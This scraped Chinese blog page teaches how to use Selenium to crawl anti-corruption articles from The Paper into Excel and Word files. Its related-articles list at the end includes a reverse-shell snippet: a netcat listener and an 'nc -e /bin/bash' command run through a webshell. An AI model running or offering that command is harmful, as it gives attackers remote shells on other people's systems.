selenium爬虫——以爬取澎湃新闻某搜索结果为例

news2024/11/16 23:47:59

文章目录

  • selenium爬虫——以爬取澎湃新闻某搜索结果为例
    • 前言
    • 需要导入的包
    • 需要避雷的点
      • webdriver的版本要与浏览器一致
      • 如果使用爬虫打开了新网页,要记得跳转
      • XPath和selector都可以直接复制
      • 爬取多网页时记得try
      • 打入word时调整字体的问题
    • 完整程序
    • 爬取效果

selenium爬虫——以爬取澎湃新闻某搜索结果为例

前言

本程序致力于实现以下目标:
(1)爬取澎湃新闻关于“反腐”的全部文章内容;
(2)按标题、链接将其整理到excel中;
(3)将标题和文章整合到一个word文档中。
许久没有正经写过了,有些生疏,代码耦合度蛮高的,所幸目标达成了。

需要导入的包

import time
import docx
import xlwt
from docx.oxml.ns import qn
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.action_chains import ActionChains

需要避雷的点

webdriver的版本要与浏览器一致

如果用的是google chrome,可以在这里找到新版本的driver;
其他浏览器的话直接百度就能找到。

如果使用爬虫打开了新网页,要记得跳转

一开始不知道这一点,试了半天都定位不到要爬取的元素,结果最后发现一直没跳转到第二个页面上,那在第一个页面上当然定位不到了……跳转的代码如下:

new_window = driver.window_handles[1]  #找第二个窗口
driver.switch_to.window(new_window) #切换到新窗口
driver.refresh()    #刷新

XPath和selector都可以直接复制

复制过程如下图所示,比自己写方便多了。
在这里插入图片描述

爬取多网页时记得try

比如这次爬取的澎湃新闻的文章,有些链接点进去是视频,是我们所不需要的,定位的位置也不一样,极有可能会报错中断。这时,就需要try-except语句来帮助我们跳过了。

try:
	x_path="//main/div[4]/div[1]/div[1]/div/h1"
    title=driver.find_element(By.XPATH, x_path)
    x_path = "//main/div[4]/div[1]/div[1]/div/div[2]"
    article=driver.find_element(By.XPATH, x_path)
    print(title.text)
    print(article.text)
    file.add_paragraph(article.text)
except:
    print("非文字")

打入word时调整字体的问题

具体程序如下:

for para in file.paragraphs:
    for run in para.runs:
        run.font.size = docx.shared.Pt(10)  #设置字体大小为10
        run.font.name = 'Times New Roman' #英文
        run._element.rPr.rFonts.set(qn('w:eastAsia'), u'楷体') # 中文

值得注意的是,中文的字体前面最好加一个u,而且qn需要单独导包:

from docx.oxml.ns import qn

完整程序

import time
import docx
import xlwt
from docx.oxml.ns import qn
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.action_chains import ActionChains
def main():
    driver = webdriver.Edge()
    driver.get("https://www.thepaper.cn/")
    time.sleep(1)
    search=driver.find_element(By.TAG_NAME,'input')
    search.send_keys("反腐")
    time.sleep(1)
    x_path="//main/div/div/div/div/div/div/div/span"
    send_button=driver.find_element(By.XPATH,x_path)
    ActionChains(driver).move_to_element(send_button).click(send_button).perform()
    time.sleep(1)
    x_path="//main/div[3]/div[1]/div/div[2]/div/ul/li[2]"
    send_button=driver.find_element(By.XPATH,x_path)
    ActionChains(driver).move_to_element(send_button).click(send_button).perform()
    time.sleep(1)

    last_height = driver.execute_script("return document.body.scrollHeight")  # 获取当前页面的高度
    driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
    time.sleep(2)
    driver.execute_script("window.scrollTo(0, document.body.scrollHeight/2);")
    last_height = driver.execute_script("return document.body.scrollHeight")

    while True:  # 模拟下拉操作,直到滑动到底部
        driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")  # 模拟下拉操作
        time.sleep(2)  # 等待页面加载
        new_height = driver.execute_script("return document.body.scrollHeight")  # 获取当前页面的高度
        if new_height == last_height:  # 判断是否已经到达页面底部
            break
        last_height = new_height

    x_path="//main/div[3]/div[1]/div/div/div/ul/li/div/a"
    names=driver.find_elements(By.XPATH,x_path)
    name_text=[]
    name_href=[]
    num=-1
    for name in names:
        name_text.append(name.text)
        name_href.append(name.get_attribute("href"))
        num=num+1
        print(name.text)
        print(name.get_attribute("href"))

    file=docx.Document()    #创建docx对象

    workbook = xlwt.Workbook()
    sheet1 = workbook.add_sheet('sheet1', cell_overwrite_ok=True)
    sheet1.write(0,0,'标题')
    sheet1.write(0,1,'链接')

    for i in range(num+1):
        print(name_text[i])
        print(name_href[i])
        address=name_href[i]
        driver.get(address)
        file.add_paragraph(name_text[i])
        sheet1.write(i+1,0,name_text[i])
        sheet1.write(i + 1, 1, name_href[i])
        try:
            x_path="//main/div[4]/div[1]/div[1]/div/h1"
            title=driver.find_element(By.XPATH, x_path)
            x_path = "//main/div[4]/div[1]/div[1]/div/div[2]"
            article=driver.find_element(By.XPATH, x_path)
            print(title.text)
            print(article.text)
            file.add_paragraph(article.text)
        except:
            print("非文字")
    for para in file.paragraphs:
        for run in para.runs:
            run.font.size = docx.shared.Pt(10)  #设置字体大小为10
            run.font.name = 'Times New Roman' #英文
            run._element.rPr.rFonts.set(qn('w:eastAsia'), u'楷体') # 中文
    file.save("crawlerResult.docx")

    workbook.save('./crawlerResult.xls')

if __name__=='__main__':
    main()

爬取效果

word共2030页295万字
在这里插入图片描述
excel共1637行(1637个文章标题,第一行为表头)
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1163555.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机的输入输出设备

文章目录 前言一、常见的输入输出设备1.字符输入设备2.图形输入设备3.图像输出设备 二、输入输出接口的通用设计三、CPU与IO设备的通信1.程序中断2.DMA(直接存储器访问) 前言 今天给大家介绍计算机的输入输出设备,包括三个板块:常…

提升工作效率与质量——马斯克的五步工作法

图片来源网络 埃隆马斯克(Elon Musk)是一位备受赞誉的创业家和工程师,他的成功并非偶然,而是源于他对问题的深刻理解以及不断追求最佳解决方案的决心。为了实现这一目标,他制定了一套包含五个步骤的工作方法&#xff0…

高分文章推荐。8+鞘脂代谢+预后模型+实验验证生信思路

今天给同学们分享一篇鞘脂相关基因在乳腺癌临床中的作用的生信文章“Exploring the role of sphingolipid-related genes in clinical outcomes of breast cancer”,这篇文章于2023年2月14日发表在Front Immunol期刊上,影响因子为8.786。尽管癌症研究取得…

基于Google Earth Engine云平台构建的多源遥感数据森林地上生物量AGB估算模型含生物量模型应用APP

最近我在 International Journal of Digital Earth (《国际数字地球学报》)发表了一篇森林生物量模型构建的文章:Evaluation of machine learning methods and multi-source remote sensing data combinations to construct forest above-gro…

GEE:计算多个流域逐日的降水量均值,并将流域名、降水量、时间等属性下载至csv

作者:CSDN @ _养乐多_ 现在我有多个流域的矢量边界,想求每个流域某段时间每天的降水量均值,并想要将降水量均值、时间、流域名称下载到本地,以csv格式保存。 本文记录了解决以上需求的代码。 结果如下图所示, 如图所示,本文代码可以计算珠江流域每日降水量均值,并能下…

Linux学习第30天:Linux 自带的 LED 灯驱动实验:驱动开发思维方式的转变势在必行

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 学习嵌入式Linux驱动开发整整30天了。今天简单做一个小结。因为之前的主要工作是做ARM的裸机开发,所以接触Linux以后感觉很多东西都变了。不仅仅包括…

C++ 类的设计

一、c类的设计 类 是一种将抽象转换为用户定义类型的 C工具, 它将数据表示操纵数据的方法组合成一个整洁的包。 语法: 其中"class类名"称为类头。花括号中的部分称为类体,类体中定义了类成员表。 在C中,类是一种数据类型…

玩一下Spring Boot

文章目录 1 开发环境1.1 JDK1.2 IntelliJ IDEA2 Spring Boot2.1 创建项目2.2 创建模板页面2.3 创建控制器2.4 启动项目2.5 访问页面1 开发环境 1.1 JDK 安装JDK21 配置环境变量 在命令行查看JDK版本 玩一玩jshell

win10开机启动软件 ,开机启动文件夹介绍【详解】

文章目录 前言一、开机自启的文件夹(方法一)二、使用【Windows R 】 打开运行窗口(方法二)三、示例总结 前言 发布出来的程序,客户需要开机自启,so 查了一下 一、开机自启的文件夹(方法一&…

深度新闻稿件怎么写?新闻稿怎么写得有深度?

深度新闻稿件,顾名思义,是对新闻事件进行深入挖掘和分析的稿件。它不仅仅是对事件的简单报道,更注重对事件背后的社会现象、原因、影响等方面进行深度剖析,从而使读者能够全面、深入地了解事件。这种稿件要求作者具备较高的新闻敏…

datagrip 使用自定义参数

两种使用方法: 1. 直接打问号❓,执行的时候会问你这个问号填什么 2. 设置参数,执行的时候会问你这个参数填什么 格式:${xxxx} xxxx是你定义的参数名字 SELECT ${column_name} FROM actor WHERE actor_id${actor_id} 执行就会问…

基于Qt QTreeView|QTreeWidget控件使用简单版

头文件解析: 这是一个C++代码文件,定义了一个名为MainWindow的类。以下是对每一句的详细解释: ```cpp #ifndef MAINWINDOW_H #define MAINWINDOW_H ``` 这是一个条件编译指令,用于避免头文件的重复包含。`MAINWINDOW_H`是一个宏定义,用于唯一标识这个头文件。 ```cpp #…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

C语言到底算高级程序语言还是低级程序语言?

C语言到底算高级程序语言还是低级程序语言? 高级语言 这里的高级都是相对于汇编语言来说的,是指脱离了计算机的硬件系统,可以按照人的思维逻辑进 行编程的语言 低级语言-般都依赖硬件, 基本换个硬件就得重写,很多人说C语言是低…

二维码智慧门牌管理系统:实现六实数据管理应用,让小区管理更便捷!

文章目录 前言一、引入六实数据管理应用二、人员管理三、房屋管理四、车辆管理五、安防管理六、公共信息管理 前言 在这个科技飞速发展的时代,传统小区管理方式已经无法满足人们对于安全、舒适和便捷的需求。而二维码智慧门牌管理系统作为新时代小区管理的利器&…

如何利用AppScan扫描H5页面,进行安全测试?

前期项目组接触的都是Web安全测试,今天做安全测试的时候,有一个项目刚好有H5页面,用以前那种AppScan内置浏览器的探索方式是不行的,研究了下,可以使用外部设备进行探索。 AppScan有两种手动探索方式,一种是…

AIGC|把Azure Open AI和Jira集成起来,实现智能化项目管理

目录 一、Jira与Azure OpenAI介绍 二、Jira和Azure OpenAI的REST API对接 三、利用Chats插件实现对话的过程 四、总结 一、Jira与Azure OpenAI介绍 Jira是一款由澳大利亚公司Atlassian开发的项目管理工具,主要用于追踪问题、管理需求、构建报告和管理故障等事项…

vsan 7.0.3部署后常见问题

一、数据库版本问题 https://partnerweb.vmware.com/service/vsan/all.json 登录可以访问 Internet 的工作站。在浏览器中打开以下链接: https://partnerweb.vmware.com/service/vsan/all.json (右键单击,另存为)将此文件另存为 all.json。如果无法保存…